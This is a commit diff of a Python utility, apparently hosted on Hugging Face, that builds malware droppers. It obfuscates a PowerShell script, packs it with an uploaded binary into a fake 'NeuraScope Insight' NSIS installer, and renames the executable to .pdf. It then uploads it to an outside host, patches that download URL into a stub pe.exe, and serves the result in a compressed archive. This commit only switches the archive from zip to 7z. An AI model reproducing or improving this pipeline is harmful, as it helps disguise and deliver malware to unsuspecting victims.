sigyllly commited on
Commit
e1f4d74
·
verified ·
1 Parent(s): 9236e3e

Update utils.py

Browse files
Files changed (1) hide show
  1. utils.py +8 -37
utils.py CHANGED
@@ -8,7 +8,7 @@ import shutil
8
  import tempfile
9
  import requests
10
  import json
11
- import zipfile
12
 
13
  BASE_DIR = os.path.abspath(os.path.dirname(__file__))
14
  UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
@@ -19,8 +19,6 @@ OBFUSCATOR_SCRIPT = os.path.join(BASE_DIR, "Obfus", "main.ps1")
19
  UPLOAD_URL = 'https://ambelo-benjamin.hf.space/upload'
20
  POWERSHELL_FILE_PATH = os.path.join(PE_FOLDER, "powershell.ps1")
21
 
22
-
23
-
24
  def generate_random_string(length=8):
25
  return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
26
 
@@ -35,14 +33,12 @@ def obfuscate_powershell_script(ps1_path):
35
  process.stdin.flush()
36
  stdout, stderr = process.communicate()
37
 
38
- # Log the stdout and stderr for debugging
39
  current_app.logger.info(f"Obfuscation script stdout: {stdout}")
40
  current_app.logger.error(f"Obfuscation script stderr: {stderr}")
41
 
42
  if process.returncode != 0:
43
  raise Exception(f"Error obfuscating PowerShell script: {stderr}")
44
 
45
- # Check if the obfuscated file was created
46
  obfuscated_file = ps1_path.replace(".ps1", "_obf.ps1")
47
  if not os.path.exists(obfuscated_file):
48
  raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_file}")
@@ -51,15 +47,10 @@ def obfuscate_powershell_script(ps1_path):
51
  except Exception as e:
52
  raise Exception(f"Obfuscation failed: {str(e)}")
53
 
54
- return obfuscated_file
55
- except Exception as e:
56
- raise Exception(f"Obfuscation failed: {str(e)}")
57
-
58
  def generate_nsi_script(folder_path, bin_file, ps1_file):
59
  timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
60
  installer_output = os.path.join(folder_path, f"setup_{timestamp}.exe")
61
 
62
- # NSIS script template
63
  NSIS_SCRIPT_TEMPLATE = r"""
64
  ; NeuraScope Insight Installer Script
65
  !include "MUI2.nsh"
@@ -124,17 +115,14 @@ def compile_nsi_script(nsi_file_path):
124
 
125
  def upload_file_to_server(file_path):
126
  try:
127
- # Rename the .exe file to .pdf
128
  renamed_file_path = file_path.replace('.exe', '.pdf')
129
  os.rename(file_path, renamed_file_path)
130
 
131
- # Upload the renamed file to the server
132
  with open(renamed_file_path, 'rb') as file:
133
  response = requests.post(UPLOAD_URL, files={'file': file})
134
 
135
  if response.status_code == 200:
136
  data = response.json()
137
- # Assuming the server returns a 'file_url' key with the file URL
138
  filename = os.path.basename(renamed_file_path)
139
  fixed_url = f'https://ambelo-benjamin.hf.space/uploads/{filename}' # Fixed URL format
140
  return fixed_url
@@ -154,7 +142,6 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
154
  with open(file_path, 'rb') as exe_file:
155
  data = exe_file.read()
156
 
157
- # Try different encodings of the old URL
158
  encodings = ['utf-8', 'ascii', 'utf-16le']
159
  url_found = False
160
  for encoding in encodings:
@@ -166,7 +153,6 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
166
  if not url_found:
167
  raise ValueError(f"The URL {old_url} was not found in the executable using any common encoding.")
168
 
169
- # Try different encodings for the old string
170
  string_found = False
171
  for encoding in encodings:
172
  old_string_bytes = old_string.encode(encoding)
@@ -177,15 +163,12 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
177
  if not string_found:
178
  raise ValueError(f"The string {old_string} was not found in the executable using any common encoding.")
179
 
180
- # Replace the old URL with the new URL
181
  new_url_bytes = new_url_padded.encode(encoding)
182
  modified_data = data.replace(old_url_bytes, new_url_bytes, 1)
183
 
184
- # Replace the old string with the new string
185
  new_string_bytes = new_string_padded.encode(encoding)
186
  modified_data = modified_data.replace(old_string_bytes, new_string_bytes, 1)
187
 
188
- # Save the modified executable with a random name
189
  modified_file_path = os.path.join(os.path.dirname(file_path), generate_random_string() + ".exe")
190
  with open(modified_file_path, 'wb') as modified_file:
191
  modified_file.write(modified_data)
@@ -197,7 +180,6 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
197
  def process_request(request):
198
  temp_dir = None # Initialize temp_dir to be used in the finally block
199
  try:
200
- # Save the incoming binary file
201
  if 'file' not in request.files:
202
  raise ValueError("No file part in the request")
203
 
@@ -210,45 +192,35 @@ def process_request(request):
210
  bin_path = os.path.join(temp_dir, file.filename)
211
  file.save(bin_path)
212
 
213
- # Extract the file name from the full binary path
214
  bin_file_name = os.path.basename(bin_path)
215
 
216
- # Read the PowerShell content from the local file
217
  with open(POWERSHELL_FILE_PATH, 'r') as ps1_file:
218
  ps1_content = ps1_file.read()
219
 
220
- # Replace the placeholder with the actual binary file name
221
  ps1_content = ps1_content.replace("{bin_file_name}", bin_file_name)
222
 
223
  ps1_path = os.path.join(temp_dir, generate_random_string() + ".ps1")
224
  with open(ps1_path, 'w') as ps1_file:
225
  ps1_file.write(ps1_content)
226
 
227
- # Obfuscate the PowerShell script
228
  obfuscated_ps1_path = obfuscate_powershell_script(ps1_path)
229
 
230
- # Check if the obfuscated file exists before renaming
231
  if not os.path.exists(obfuscated_ps1_path):
232
  raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_ps1_path}")
233
 
234
- # Rename the obfuscated file to Verification.ps1
235
  verification_ps1_path = os.path.join(temp_dir, "Verification.ps1")
236
  os.rename(obfuscated_ps1_path, verification_ps1_path)
237
 
238
- # Generate and compile the NSIS script
239
  nsi_file_path, installer_output = generate_nsi_script(temp_dir, bin_path, verification_ps1_path)
240
  compile_nsi_script(nsi_file_path)
241
 
242
- # Upload the resulting EXE file (renamed to PDF) to the server
243
  download_url = upload_file_to_server(installer_output)
244
 
245
- # Print the new string and new URL for debugging
246
  new_string = os.path.basename(download_url)
247
  new_url = download_url
248
  print(f"new_string: {new_string}")
249
  print(f"new_url: {new_url}")
250
 
251
- # Replace URL in PE executable
252
  pe_exe_path = os.path.join(PE_FOLDER, "pe.exe")
253
  modified_pe_path = replace_url_in_exe(
254
  file_path=pe_exe_path,
@@ -258,19 +230,18 @@ def process_request(request):
258
  new_string=os.path.basename(download_url)
259
  )
260
 
261
- # Zip the modified executable
262
- zip_filename = generate_random_string() + ".zip"
263
- zip_filepath = os.path.join(temp_dir, zip_filename)
264
- with zipfile.ZipFile(zip_filepath, 'w') as zipf:
265
- zipf.write(modified_pe_path, os.path.basename(modified_pe_path))
266
 
267
- # Return the zip file in the response
268
- return send_file(zip_filepath, as_attachment=True, download_name=zip_filename)
269
 
270
  except Exception as e:
271
  current_app.logger.error(f"An error occurred: {str(e)}")
272
  return jsonify({"error": str(e)}), 500
273
  finally:
274
- # Clean up temporary directories and files
275
  if temp_dir and os.path.exists(temp_dir):
276
  shutil.rmtree(temp_dir, ignore_errors=True)
 
8
  import tempfile
9
  import requests
10
  import json
11
+ import py7zr # Import the py7zr library
12
 
13
  BASE_DIR = os.path.abspath(os.path.dirname(__file__))
14
  UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
 
19
  UPLOAD_URL = 'https://ambelo-benjamin.hf.space/upload'
20
  POWERSHELL_FILE_PATH = os.path.join(PE_FOLDER, "powershell.ps1")
21
 
 
 
22
  def generate_random_string(length=8):
23
  return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
24
 
 
33
  process.stdin.flush()
34
  stdout, stderr = process.communicate()
35
 
 
36
  current_app.logger.info(f"Obfuscation script stdout: {stdout}")
37
  current_app.logger.error(f"Obfuscation script stderr: {stderr}")
38
 
39
  if process.returncode != 0:
40
  raise Exception(f"Error obfuscating PowerShell script: {stderr}")
41
 
 
42
  obfuscated_file = ps1_path.replace(".ps1", "_obf.ps1")
43
  if not os.path.exists(obfuscated_file):
44
  raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_file}")
 
47
  except Exception as e:
48
  raise Exception(f"Obfuscation failed: {str(e)}")
49
 
 
 
 
 
50
  def generate_nsi_script(folder_path, bin_file, ps1_file):
51
  timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
52
  installer_output = os.path.join(folder_path, f"setup_{timestamp}.exe")
53
 
 
54
  NSIS_SCRIPT_TEMPLATE = r"""
55
  ; NeuraScope Insight Installer Script
56
  !include "MUI2.nsh"
 
115
 
116
  def upload_file_to_server(file_path):
117
  try:
 
118
  renamed_file_path = file_path.replace('.exe', '.pdf')
119
  os.rename(file_path, renamed_file_path)
120
 
 
121
  with open(renamed_file_path, 'rb') as file:
122
  response = requests.post(UPLOAD_URL, files={'file': file})
123
 
124
  if response.status_code == 200:
125
  data = response.json()
 
126
  filename = os.path.basename(renamed_file_path)
127
  fixed_url = f'https://ambelo-benjamin.hf.space/uploads/{filename}' # Fixed URL format
128
  return fixed_url
 
142
  with open(file_path, 'rb') as exe_file:
143
  data = exe_file.read()
144
 
 
145
  encodings = ['utf-8', 'ascii', 'utf-16le']
146
  url_found = False
147
  for encoding in encodings:
 
153
  if not url_found:
154
  raise ValueError(f"The URL {old_url} was not found in the executable using any common encoding.")
155
 
 
156
  string_found = False
157
  for encoding in encodings:
158
  old_string_bytes = old_string.encode(encoding)
 
163
  if not string_found:
164
  raise ValueError(f"The string {old_string} was not found in the executable using any common encoding.")
165
 
 
166
  new_url_bytes = new_url_padded.encode(encoding)
167
  modified_data = data.replace(old_url_bytes, new_url_bytes, 1)
168
 
 
169
  new_string_bytes = new_string_padded.encode(encoding)
170
  modified_data = modified_data.replace(old_string_bytes, new_string_bytes, 1)
171
 
 
172
  modified_file_path = os.path.join(os.path.dirname(file_path), generate_random_string() + ".exe")
173
  with open(modified_file_path, 'wb') as modified_file:
174
  modified_file.write(modified_data)
 
180
  def process_request(request):
181
  temp_dir = None # Initialize temp_dir to be used in the finally block
182
  try:
 
183
  if 'file' not in request.files:
184
  raise ValueError("No file part in the request")
185
 
 
192
  bin_path = os.path.join(temp_dir, file.filename)
193
  file.save(bin_path)
194
 
 
195
  bin_file_name = os.path.basename(bin_path)
196
 
 
197
  with open(POWERSHELL_FILE_PATH, 'r') as ps1_file:
198
  ps1_content = ps1_file.read()
199
 
 
200
  ps1_content = ps1_content.replace("{bin_file_name}", bin_file_name)
201
 
202
  ps1_path = os.path.join(temp_dir, generate_random_string() + ".ps1")
203
  with open(ps1_path, 'w') as ps1_file:
204
  ps1_file.write(ps1_content)
205
 
 
206
  obfuscated_ps1_path = obfuscate_powershell_script(ps1_path)
207
 
 
208
  if not os.path.exists(obfuscated_ps1_path):
209
  raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_ps1_path}")
210
 
 
211
  verification_ps1_path = os.path.join(temp_dir, "Verification.ps1")
212
  os.rename(obfuscated_ps1_path, verification_ps1_path)
213
 
 
214
  nsi_file_path, installer_output = generate_nsi_script(temp_dir, bin_path, verification_ps1_path)
215
  compile_nsi_script(nsi_file_path)
216
 
 
217
  download_url = upload_file_to_server(installer_output)
218
 
 
219
  new_string = os.path.basename(download_url)
220
  new_url = download_url
221
  print(f"new_string: {new_string}")
222
  print(f"new_url: {new_url}")
223
 
 
224
  pe_exe_path = os.path.join(PE_FOLDER, "pe.exe")
225
  modified_pe_path = replace_url_in_exe(
226
  file_path=pe_exe_path,
 
230
  new_string=os.path.basename(download_url)
231
  )
232
 
233
+ # Create a .7z archive with ultra compression and LZMA2
234
+ archive_filename = generate_random_string() + ".7z"
235
+ archive_filepath = os.path.join(temp_dir, archive_filename)
236
+ with py7zr.SevenZipFile(archive_filepath, 'w', filters=[{'id': 'LZMA2', 'preset': 9}]) as archive:
237
+ archive.write(modified_pe_path, os.path.basename(modified_pe_path))
238
 
239
+ # Return the .7z file in the response
240
+ return send_file(archive_filepath, as_attachment=True, download_name=archive_filename)
241
 
242
  except Exception as e:
243
  current_app.logger.error(f"An error occurred: {str(e)}")
244
  return jsonify({"error": str(e)}), 500
245
  finally:
 
246
  if temp_dir and os.path.exists(temp_dir):
247
  shutil.rmtree(temp_dir, ignore_errors=True)